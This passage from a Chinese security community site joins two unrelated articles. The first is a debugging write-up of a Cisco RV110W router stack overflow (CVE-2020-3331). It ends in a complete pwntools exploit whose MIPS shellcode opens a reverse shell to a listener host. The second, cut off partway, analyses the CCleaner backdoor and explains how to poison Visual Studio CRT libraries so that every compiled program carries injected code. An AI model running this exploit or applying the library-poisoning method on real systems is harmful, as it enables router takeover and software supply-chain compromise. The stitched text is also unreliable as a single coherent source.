然后直接make -j8编译即可然后会生成一个output文件夹，进去找output/host/bin 运行mipsel-linux-gcc
--version
mipsel-linux-gcc --version
mipsel-linux-gcc.br_real (Buildroot 2020.08-947-ga2b344a) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
有版本回显就可以了，我们一会通过这个交叉编译我们的nvram_get。
最后将这个路径写入.bashrc
export PATH=~/buildroot/buildroot/output/host/bin:$PATH
后面就可以愉快的调用了
## hook nvram_get
v34 = (char *)nvram_get("lan_ifname");
if ( !v34 )
v34 = "";
v35 = (char *)nvram_get("lan_ipaddr");
if ( !v35 )
v35 = "";
v36 = (char *)nvram_get("http_client_ip");
if ( !v36 )
v36 = "";
v37 = (char *)nvram_get("lan_hwaddr");
if ( !v37 )
嵌入式应用程序通常通过共享库与NVRAM交互。该库又与包含设备当前配置设置的MTD分区接口交互。如果没有NVRAM配置数据，许多程序将无法正常运行，
**需要我们拦截NVRAM库调用并返回有效数据** ，以便在Qemu中正确执行应用程序
如果我们不进行hook的话，到达漏洞触发点，会发现V0-T9没有任何值
0x77fb2a84 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
V0 0x0
V1 0x0
A0 0x0
A1 0x0
A2 0x0
A3 0x0
T0 0x0
T1 0x0
T2 0x0
T3 0x0
T4 0x0
T5 0x0
T6 0x0
T7 0x0
T8 0x0
T9 0x0
S0 0x77aa7050
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x0
SP 0x7fff6f40 ?— 0x1
PC 0x77fb2a84 ?— bal 0x77fb2a8c
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x77fb2a80 move $t9, $ra
? 0x77fb2a84 bal 0x77fb2a8c
↓
0x77fb2a8c lui $gp, 5
0x77fb2a90 addiu $gp, $gp, -0x3a7c
0x77fb2a94 addu $gp, $gp, $ra
0x77fb2a98 move $ra, $t9
0x77fb2a9c lw $a0, -0x7fe8($gp)
0x77fb2aa0 sw $a0, -0x7ff0($gp)
0x77fb2aa4 move $a0, $sp
0x77fb2aa8 addiu $sp, $sp, -0x10
0x77fb2aac lw $t0, -0x7fe4($gp)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff6f40 ?— 0x1
01:0004│ 0x7fff6f44 —? 0x7fff6fea ?— '//bin/sh'
02:0008│ 0x7fff6f48 ?— 0x0
... ↓
04:0010│ 0x7fff6f50 ?— 0x10
05:0014│ 0x7fff6f54 ?— 0x0
06:0018│ 0x7fff6f58 ?— 0x6
07:001c│ 0x7fff6f5c ?— 0x1000
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
? f 0 77fb2a84
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gdb-peda$
<https://blog.csdn.net/qq_21063873/article/details/103037515>这篇文章有大致介绍基于qemu的nvram仿真
通过ida看它的httpd，nvram_get在获取各种环境的值，如果我们给它lan_ipaddr写死了是不是就可以了？nvram_get只传了一个参数
#include <stdio.h>
#include <string.h>
char *nvram_get(char *key)
{
char *value = NULL;
if(strcmp(key, "lan_ipaddr") == 0)
{
value = strdup("127.0.0.1");
}
printf("nvram_get(%s) == %s\n", key, value);
return value;
}
mipsel-linux-gcc -shared -fPIC nvram.c -o nvram.so
我们将此代码作为共享库进行编译
回到qemu里执行命令
chroot squashfs-root sh
export LD_PRELOAD="./nvram.so" && ./httpd
nvram_get(http_settimeouts) == (null)
nvram_get(http_settimeouts_usec) == (null)
nvram_get(http_debug) == (null)
出现这三个代表启动成功
还有一种思路是通过nvram_faker启动<https://github.com/zcutlip/nvram-faker>
它提供了编译不同架构的脚本，hook思路大同小异，也可以拿这个来进行启动
## 漏洞分析
漏洞点在guest_logout.cgi的sscanf
v10 = (const char *)get_cgi((int)"cip");
v11 = (const char *)get_cgi((int)"submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
memset(v29, 0, 0x40u);
memset(v28, 0, sizeof(v28));
v12 = fopen("/dev/console", "w");
v13 = v12;
if ( v12 )
{
fprintf(v12, "\n mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
v17 = fopen("/dev/console", "w");
v18 = v17;
if ( v17 )
{
fprintf(
v17,
"\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
"guest_logout_cgi",
5449,
v11,
v29,
v28);
fclose(v18);
}
sscanf这里起到了一个正则的作用，v11是我们需要匹配的字符串，%[^;];%*[^=]=%[^\n]是匹配规则，V29存的是%[^;]匹配到的值，V28存的是%*[^=]=%[^\n]
%[^;]：分号前的所有字符都要
;%*[^=]：分号后，等号前的字符都不要
=%[^\n]：等号后，换行符前的所有字符都要
v11 = (const char *)get_cgi((int)"submit_button");
v5 = (const char *)get_cgi((int)"cmac");
v6 = (const char *)get_cgi((int)"cip")
断点下在已经覆盖了ra的位置
b *0x431b60
V0 0x0
V1 0x73
A0 0x4d81f0 (post_buf+64) ?— 0x75746174 ('tatu')
A1 0x47f785 ?— 'ogin_guest.asp'
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ?— 0x6c5f5f00
T2 0x77ee5f89 ?— jalx 0x79957c00
T3 0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
T4 0x77a6c64c ?— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ?— 0x4c475f00
T8 0x77a6c40c ?— nop
T9 0x77a984d0 (strcoll) ?— lbu $v1, ($a0)
S0 0x77aa7050 (xdr_free+16) ?— move $t9, $a0 //jmp $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff1348 ?— 0x61616161 ('aaaa')
SP 0x7fff1260 —? 0x47c14c ?— 'http_client_ip'
PC 0x431b60 (guest_logout_cgi+872) ?— jr $ra
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x431b4c <guest_logout_cgi+852> lw $s3, 0xcc($sp)
0x431b50 <guest_logout_cgi+856> lw $s2, 0xc8($sp)
0x431b54 <guest_logout_cgi+860> lw $s1, 0xc4($sp)
0x431b58 <guest_logout_cgi+864> lw $s0, 0xc0($sp)
0x431b5c <guest_logout_cgi+868> move $v0, $zero
? 0x431b60 <guest_logout_cgi+872> jr $ra <0x77a8f7a0>
↓
0x431b68 <guest_logout_cgi+880> lw $t9, -0x7cc0($gp)
0x431b6c <guest_logout_cgi+884> nop
0x431b70 <guest_logout_cgi+888> jalr $t9
0x431b74 <guest_logout_cgi+892> move $a0, $s2
**可以看到此时ra寄存器的值已经是0x77a8f7a0
就是jalrs0也被我们提前布置好了地址**，覆盖到PC可以通过cyclic算出来，但覆盖到S0需要自己去手动调试，慢慢找它的偏移。
V0 0x0
V1 0x73
A0 0x4d81f0 (post_buf+64) ?— 0x75746174 ('tatu')
A1 0x47f785 ?— 'ogin_guest.asp'
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ?— 0x6c5f5f00
T2 0x77ee5f89 ?— jalx 0x79957c00
T3 0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
T4 0x77a6c64c ?— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ?— 0x4c475f00
T8 0x77a6c40c ?— nop
T9 0x77a984d0 (strcoll) ?— lbu $v1, ($a0)
S0 0x77aa7050 (xdr_free+16) ?— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff13a0 ?— 0x109090c
SP 0x7fff1348 ?— 0x61616161 ('aaaa')
PC 0x77a8f7a0 (fclose+304) ?— addiu $a0, $sp, 0x18
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
? 0x77a8f7a0 <fclose+304> addiu $a0, $sp, 0x18 <0x4d81f0>
↓
0x77a8f7a8 <fclose+312> jalr $t9
0x77a8f7ac <fclose+316> addiu $a1, $zero, 1
0x77a8f7b0 <fclose+320> lw $gp, 0x10($sp)
0x77a8f7b4 <fclose+324> lhu $v0, ($s1)
0x77a8f7b8 <fclose+328> andi $v0, $v0, 0x4000
0x77a8f7bc <fclose+332> beqz $v0, fclose+360 <0x77a8f7d8>
0x77a8f7c0 <fclose+336> lw $a2, -0x778c($gp)
0x77a8f7c4 <fclose+340> lw $t9, -0x77ac($gp)
0x77a8f7c8 <fclose+344> jalr $t9
0x77a8f7cc <fclose+348> lw $a0, 8($s1)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ?— 0x61616161 ('aaaa')
... ↓
06:0018│ 0x7fff1360 ?— 0x2804ffff
... ↓
**这里是把$sp+0x18的位置给a0寄存器，也就是我们要跳的最后位置**
Python 2.7.12 (default, Oct 5 2020, 13:56:01)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(hex(0x7fff1348+0x18))
0x7fff1360
看了下地址0x7fff1360没毛病
gdb-peda$ x/20wx 0x7fff1348
0x7fff1348: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fff1358: 0x61616161 0x61616161 0x2804ffff 0x2804ffff
0x7fff1368: 0x24020fa6 0x0109090c 0x28041111 0x24020fa6
0x7fff1378: 0x0109090c 0x240cfffd 0x01802027 0x24020fa6
0x7fff1388: 0x0109090c 0x240cfffd 0x01802027 0x01802827
gdb-peda$ x/20wx 0x7fff1348+0x18
0x7fff1360: 0x2804ffff 0x2804ffff 0x24020fa6 0x0109090c
0x7fff1370: 0x28041111 0x24020fa6 0x0109090c 0x240cfffd
0x7fff1380: 0x01802027 0x24020fa6 0x0109090c 0x240cfffd
0x7fff1390: 0x01802027 0x01802827 0x2806ffff 0x24021057
0x7fff13a0: 0x0109090c 0x3044ffff 0x24020fc9 0x0109090c
gdb-peda$ x/20i 0x7fff1348+0x18
0x7fff1360: slti a0,zero,-1
0x7fff1364: slti a0,zero,-1
0x7fff1368: li v0,4006
0x7fff136c: syscall 0x42424
0x7fff1370: slti a0,zero,4369
0x7fff1374: li v0,4006
0x7fff1378: syscall 0x42424
0x7fff137c: li t4,-3
0x7fff1380: nor a0,t4,zero
0x7fff1384: li v0,4006
0x7fff1388: syscall 0x42424
0x7fff138c: li t4,-3
0x7fff1390: nor a0,t4,zero
0x7fff1394: nor a1,t4,zero
0x7fff1398: slti a2,zero,-1
0x7fff139c: li v0,4183
0x7fff13a0: syscall 0x42424
0x7fff13a4: andi a0,v0,0xffff
0x7fff13a8: li v0,4041
0x7fff13ac: syscall 0x42424
这里是比较关键的一步在栈顶+0x18的位置，将shellcode的第一条指令多写了一份，因为在调试的过程中发现，slti
a0,zero,-1这条指令会被莫名奇妙吞掉，所以多写了一条指令，来绕过这个奇怪的机制，实际测试过程中遇到\x00也会给截断，所以也需要绕00，这里测试过我的msf生成的是有00的，所以直接用轩哥推荐的shellcode[Linux/mips
- Reverse Shell Shellcode - 200 bytes by Jacob Holcomb](http://shell-storm.org/shellcode/files/shellcode-860.php)
V0 0x0
V1 0x73
A0 0x7fff1360 ?— 0x2804ffff
A1 0x47f785 ?— 'ogin_guest.asp'
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ?— 0x6c5f5f00
T2 0x77ee5f89 ?— jalx 0x79957c00
T3 0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
T4 0x77a6c64c ?— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ?— 0x4c475f00
T8 0x77a6c40c ?— nop
T9 0x77a984d0 (strcoll) ?— lbu $v1, ($a0)
S0 0x77aa7050 (xdr_free+16) ?— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff13a0 ?— 0x109090c
SP 0x7fff1348 ?— 0x61616161 ('aaaa')
PC 0x77a8f7a4 (fclose+308) ?— move $t9, $s0
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x77a8f7a0 <fclose+304> addiu $a0, $sp, 0x18
? 0x77a8f7a4 <fclose+308> move $t9, $s0
↓
0x77a8f7ac <fclose+316> addiu $a1, $zero, 1
0x77a8f7b0 <fclose+320> lw $gp, 0x10($sp)
0x77a8f7b4 <fclose+324> lhu $v0, ($s1)
0x77a8f7b8 <fclose+328> andi $v0, $v0, 0x4000
0x77a8f7bc <fclose+332> beqz $v0, fclose+360 <0x77a8f7d8>
0x77a8f7c0 <fclose+336> lw $a2, -0x778c($gp)
0x77a8f7c4 <fclose+340> lw $t9, -0x77ac($gp)
0x77a8f7c8 <fclose+344> jalr $t9
0x77a8f7cc <fclose+348> lw $a0, 8($s1)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ?— 0x61616161 ('aaaa')
... ↓
06:0018│ a0 0x7fff1360 ?— 0x2804ffff
... ↓
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
? f 0 77a8f7a4 fclose+308
**到这里a0已经变成了我们想要的地址了**
0x77aa7058 in xdr_free () from target:/lib/libc.so.0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
V0 0x0
V1 0x73
A0 0x7fff1360 ?— 0x0
A1 0x1
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ?— 0x6c5f5f00
T2 0x77ee5f89 ?— jalx 0x79957c00
T3 0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
T4 0x77a6c64c ?— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ?— 0x4c475f00
T8 0x77a6c40c ?— nop
T9 0x7fff1360 ?— 0x0
S0 0x77aa7050 (xdr_free+16) ?— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff1380 ?— 0x1802027
SP 0x7fff1348 ?— 'aaaaaaaaaaaaaaaaaaaaaaaa'
PC 0x77aa7058 (xdr_free+24) ?— jalr $t9
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x77aa7050 <xdr_free+16> move $t9, $a0
0x77aa7054 <xdr_free+20> sw $v0, 0x18($sp)
? 0x77aa7058 <xdr_free+24> jalr $t9
0x77aa705c <xdr_free+28> addiu $a0, $sp, 0x18
0x77aa7060 <xdr_free+32> lw $gp, 0x10($sp)
0x77aa7064 <xdr_free+36> lw $ra, 0x30($sp)
0x77aa7068 <xdr_free+40> jr $ra
0x77aa706c <xdr_free+44> addiu $sp, $sp, 0x38
0x77aa7070 <xdr_void> jr $ra
0x77aa7074 <xdr_void+4> addiu $v0, $zero, 1
0x77aa7078 <xdr_long> lw $v1, ($a0)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ?— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9 0x7fff1360 ?— 0x0
07:001c│ 0x7fff1364 ?— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
? f 0 77aa7058 xdr_free+24
──────────────────────────────────────────
0x7fff1364 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
V0 0x0
V1 0x73
A0 0x7fff1360 ?— 0x0
A1 0x1
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ?— 0x6c5f5f00
T2 0x77ee5f89 ?— jalx 0x79957c00
T3 0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
T4 0x77a6c64c ?— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ?— 0x4c475f00
T8 0x77a6c40c ?— nop
T9 0x7fff1360 ?— 0x0
S0 0x77aa7050 (xdr_free+16) ?— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x0
SP 0x7fff1348 ?— 'aaaaaaaaaaaaaaaaaaaaaaaa'
PC 0x7fff1364 ?— 0x2804ffff
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x7fff1360 nop
? 0x7fff1364 slti $a0, $zero, -1
↓
0x7fff136c syscall 0x42424
0x7fff1370 slti $a0, $zero, 0x1111
0x7fff1374 addiu $v0, $zero, 0xfa6
0x7fff1378 syscall 0x42424
0x7fff137c addiu $t4, $zero, -3
0x7fff1380 not $a0, $t4
0x7fff1384 addiu $v0, $zero, 0xfa6
0x7fff1388 syscall 0x42424
0x7fff138c addiu $t4, $zero, -3
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ?— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9 0x7fff1360 ?— 0x0
07:001c│ pc 0x7fff1364 ?— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
? f 0 7fff1364
成功执行shellcode，拿到shell
#coding:UTF-8
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux', log_level='debug')
io = listen(31337)
libc = 0x77a6a000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
shellcode = "slti $a0, $zero, 0xFFFF\n"
shellcode += "slti $a0, $zero, 0xFFFF\n"
shellcode += "li $v0, 4006\n"
shellcode += "syscall 0x42424\n"
shellcode += "slti $a0, $zero, 0x1111\n"
shellcode += "li $v0, 4006\n"
shellcode += "syscall 0x42424\n"
shellcode += "li $t4, 0xFFFFFFFD\n"
shellcode += "not $a0, $t4\n"
shellcode += "li $v0, 4006\n"
shellcode += "syscall 0x42424\n"
shellcode += "li $t4, 0xFFFFFFFD\n"
shellcode += "not $a0, $t4\n"
shellcode += "not $a1, $t4\n"
shellcode += "slti $a2, $zero, 0xFFFF\n"
shellcode += "li $v0, 4183\n"
shellcode += "syscall 0x42424\n"
shellcode += "andi $a0, $v0, 0xFFFF\n"
shellcode += "li $v0, 4041\n"
shellcode += "syscall 0x42424\n"
shellcode += "li $v0, 4041\n"
shellcode += "syscall 0x42424\n"
shellcode += "lui $a1, 0x6979\n"
shellcode += "ori $a1, 0xFF01\n"
shellcode += "addi $a1, $a1, 0x0101\n"
shellcode += "sw $a1, -8($sp)\n"
shellcode += "li $a1, 0x010A0A0A\n" #这里是需要改的IP地址
shellcode += "sw $a1, -4($sp)\n"
shellcode += "addi $a1, $sp, -8\n"
shellcode += "li $t4, 0xFFFFFFEF\n"
shellcode += "not $a2, $t4\n"
shellcode += "li $v0, 4170\n"
shellcode += "syscall 0x42424\n"
shellcode += "lui $t0, 0x6962\n"
shellcode += "ori $t0, $t0,0x2f2f\n"
shellcode += "sw $t0, -20($sp)\n"
shellcode += "lui $t0, 0x6873\n"
shellcode += "ori $t0, 0x2f6e\n"
shellcode += "sw $t0, -16($sp)\n"
shellcode += "slti $a3, $zero, 0xFFFF\n"
shellcode += "sw $a3, -12($sp)\n"
shellcode += "sw $a3, -4($sp)\n"
shellcode += "addi $a0, $sp, -20\n"
shellcode += "addi $t0, $sp, -20\n"
shellcode += "sw $t0, -8($sp)\n"
shellcode += "addi $a1, $sp, -8\n"
shellcode += "addiu $sp, $sp, -20\n"
shellcode += "slti $a2, $zero, 0xFFFF\n"
shellcode += "li $v0, 4011\n"
shellcode += "syscall 0x42424"
shell = asm(shellcode)
# 覆盖s0 覆盖ra 最后将shellcode写进sp+0x18的位置
# 先jmp到s0在jmp到a0执行shellcode
payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shell
#payload = "status_guestnet.asp"+'a'*49+p32(0xdeadbeef)
paramsPost = {
"cmac":"7a:29:9f:d3:d2:6e",
"submit_button":payload,
"cip":"192.168.1.1",
}
def attack():
try:
requests.post("http://10.10.10.3/guest_logout.cgi", data=paramsPost, verify=False)
except:
pass
thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell")
io.interactive()
#10A0A0A -> 10.10.10.1 LSB
#0x77aa7050 jalr $a0
#0x77a8f7a0 jalr $s0
shellcode我是改的回连地址，然后利用pwntools把汇编转成二进制在打进去，算是在轩哥的exp上做了些改动，感兴趣的师傅可以自己去调一下。
## docker搭建固件靶场环境
最后的docker环境部署，其实大概的架构是这样的
将qemu_system里的端口映射到docker里面，在从docker端口转发到宿主机，然后外网就能访问到qemu_system里的服务了，因为要外网访问，所以我们不使用方便调试的tap模式，直接使用net模式，启动脚本如下：
qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::80-:80,hostfwd=tcp::31337-:31337,hostfwd=tcp::1234-:1234 -nographic
转发了三个端口，一个是httpd的80，回连的31337，gdb调试的1234。
然后在qemu里写好启动脚本
#!/bin/sh
chroot squashfs-root sh start.sh
#!/bin/sh
export LD_PRELOAD="./nvram.so" && ./httpd //start.sh的内容
放到rc.local里面，就能自启动了。
在将文件提前保存进docker镜像里，然后写好dockerfile，打包上传至dockerhub即可
FROM vulshare/cve-2020-3331:lxonz
LABEL Author="lxonz"
WORKDIR /home/root/qemu_system_mipsel
CMD [ "/bin/sh", "-c", "chmod 755 qemu_mipsel.sh && sh qemu_mipsel.sh" ]
EXPOSE 31137
EXPOSE 80
EXPOSE 1234
这里要写好转发的端口，最后通过-P参数启动。
最后呢，因为qemu里我转发了1234端口，但是docker里没转发，如果想要调试的师傅可以自己转发一下
## 参考链接
[1] <https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/>
[2] <https://blog.csdn.net/qq_21063873/article/details/103037515>
[3] <https://nosec.org/home/detail/4458.html>
* * * | 社区文章 |
# 【技术分享】深入分析CCleaner后门代码-编译环境污染供应链攻击案例
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**综述**
2017年9月18日，Piriform 官方发布安全公告，公告称该公司开发的 **CCleaner version** **5.33.6162** 和
**CCleaner Cloud version 1.07.3191** 中的 **32位**
应用程序被植入了恶意代码。被植入后门代码的软件版本被公开下载了一个月左右，导致百万级别的用户受到影响，泄露机器相关的敏感信息甚至极少数被执行了更多的恶意代码。
CCleaner是独立的软件工作室Piriform开发的系统优化和隐私保护工具，目前已经被防病毒厂商 **Avast**
收购，主要用来清除Windows系统不再使用的垃圾文件，以腾出更多硬盘空间，它的另一大功能是清除使用者的上网记录。自从2004年2月发布以来，CCleaner的用户数目迅速增长而且很快成为使用量第一的系统垃圾清理及隐私保护软件。而正是这样一款隐私保护软件却被爆出在官方发布的版本中被植入恶意代码，且该恶意代码具备执行任意代码的功能。
这是继Xshell被植入后门代码事件后，又一起严重的软件供应链攻击活动。360威胁情报中心通过对相关的技术细节的进一步分析，推测这是一个少见的基于编译环境污染的软件供应链攻击，值得分享出来给安全社区讨论。
**
**
**后门技术细节分析**
**恶意代码功能**
被植入了恶意代码的CCleaner版本主要具备如下恶意功能：
**1\. 攻击者在CRT初始化函数 __scrt_get_dyn_tls_init_callback()
中插入了一个函数调用，并将此函数调用指向执行另一段恶意代码。**
**2\.
收集主机信息（主机名、已安装软件列表、进程列表和网卡信息等）加密编码后通过HTTPS协议的POST请求尝试发送到远程IP：216.126.225.148:443，且伪造HTTP头的HOST字段为：speccy.piriform.com，并下载执行第二阶段的恶意代码。**
**3\. 若IP失效，则根据月份生成DGA域名，并再次尝试发送同样的信息，如果成功则下载执行第二阶段的恶意代码。**
**植入方式推测**
根据360威胁情报中心的分析，此次事件极有可能是攻击者入侵开发人员机器后污染开发环境中的CRT静态库函数造成的，导致的后果为在该开发环境中开发的程序都有可能被自动植入恶意代码，相应的证据和推论如下：
**1\. 被植入的代码位于用户代码main函数之前**
main函数之前的绿色代码块为编译器引入的CRT代码，这部分代码非用户编写的代码。
**2\. 植入的恶意代码调用过程**
可以看到CRT代码 sub_4010CD 内部被插入了一个恶意call调用。
**3\. 被植入恶意代码的CRT代码源码调用过程**
通过分析，我们发现使用VS2015编译的Release版本程序的CRT反汇编代码与本次分析的代码一致，调用过程为：
_mainCRTStartup –> __scrt_common_main_seh –> __scrt_get_dyn_tls_dtor_callback
–> Malicious call
**4\. CCleaner中被修改的 __scrt_get_dyn_tls_init_callback() 和源码对比**
基于以上的证据，可以确定的是攻击者是向 __scrt_get_dyn_tls_init_callback()
中植入恶意源代码并重新编译成OBJ文件再替换了开发环境中的静态链接库中对应的OBJ文件，促使每次编译EXE的过程中，都会被编译器通过被污染的恶意的LIB/OBJ文件自动链接进恶意代码，最终感染编译生成的可执行文件。
__scrt_get_dyn_tls_init_callback() 函数位于源代码文件dyn_tls_init.c中。
**
**
**攻击技术重现验证**
**编译环境的攻击面**
通过分析发现，如果要向程序CRT代码中植入恶意代码，最好的方式就是攻击编译过程中引入的CRT静态链接库文件，方法有如下三种：
**1\. 修改CRT库文件源码，重新编译并替换编译环境中的CRT静态库文件（LIB）**
**2\. 修改CRT库文件中某个OBJ文件对应的C源码，重新编译并替换LIB中对应的OBJ文件。**
**3\. 修改CRT库文件中某个OBJ文件的二进制代码，并替换LIB中对应的OBJ文件。**
**CRT运行时库**
C运行时库函数的主要功能为进行程序初始化，对全局变量进行赋初值，加载用户程序的入口函数等。
**定位CRT源代码**
我们以VS2008为例，编写一个功能简单的main函数如下：
在main函数结尾处设置断点，使用/MD编译选项编译调试运行
切换到反汇编代码并执行到main函数返回：
返回后查阅源码可以看到对应的CRT源代码为：crtexe.c
源代码路径：
D:Program Files (x86)Microsoft Visual Studio 9.0VCcrtsrccrtexe.c
**定位CRT静态链接库**
参考MSDN我们知道，在VS2008中，使用/MD编译选项编译Release版本的程序引用的CRT静态库为msvcrt.lib，文件路径为：
D:Program Files (x86)Microsoft Visual Studio 9.0VClibmsvcrt.lib
**LIB/OBJ文件介绍**
以VS2008中的msvcrt.lib为例
**LIB**
这里介绍静态库LIB文件，是指编译器链接生成后供第三方程序静态链接调用的库文件，其实是单个或多个OBJ通过AR压缩打包后的文件，内部包含OBJ文件以及打包路径信息，比如msvcrt.lib文件解压后得到的部分OBJ文件路径如下：
可以看到，msvcrt.lib解压后确实也有CRT对应的OBJ文件：crtexe.obj等
**OBJ**
源代码编译后的COFF格式的二进制文件，包含汇编代码信息、符号信息等等，编译器最终会将需要使用的OBJ链接生成PE文件，crtexe.obj文件格式如下：
**攻击CRT运行时库**
了解了CRT运行时库的编译链接原理，我们可以知道，使用/MD编译选项编译的main函数前的C运行时库函数在静态链接过程中是使用的msvcrt.ib中的crcexe.obj等进行编译链接的，并且源代码中定义不同的main函数名称，编译器会链接msvcrt.lib中不同的OBJ文件，列举部分如下表所示：
**修改crcexe.obj**
我们以VS2008中编译main()函数为例，如果修改msvcrt.lib中的crcexe.obj的二进制代码，比如修改源码并重编译crcexe.c或者直接修改crcexe.obj，再将编译/修改后的crcexe.obj替换msvcrt.lib中对应的OBJ，最后将VS2008中的msvcrt.lib替换，那么使用/MD编译选项编译的所有带有main()函数的EXE程序都会使用攻击者的crcexe.obj编译链接，最终植入任意代码。
为展示试验效果，我们通过修改crcexe.obj中main函数调用前的两个字节为0xCC，试验效果将展示编译的所有EXE程序main调用前都会有两条int3指令：
crcexe.obj在msvcrt.lib中的路径：
f:ddvctoolscrt_bldSELF_X86crtsrcbuildINTELdll_objcrcexe.obj
**替换msvcrt.lib中的crcexe.obj**
替换msvcrt.lib中的OBJ文件需要两步，这里直接给出方法：
**1\. 移除msvcrt.lib中的OBJ文件**
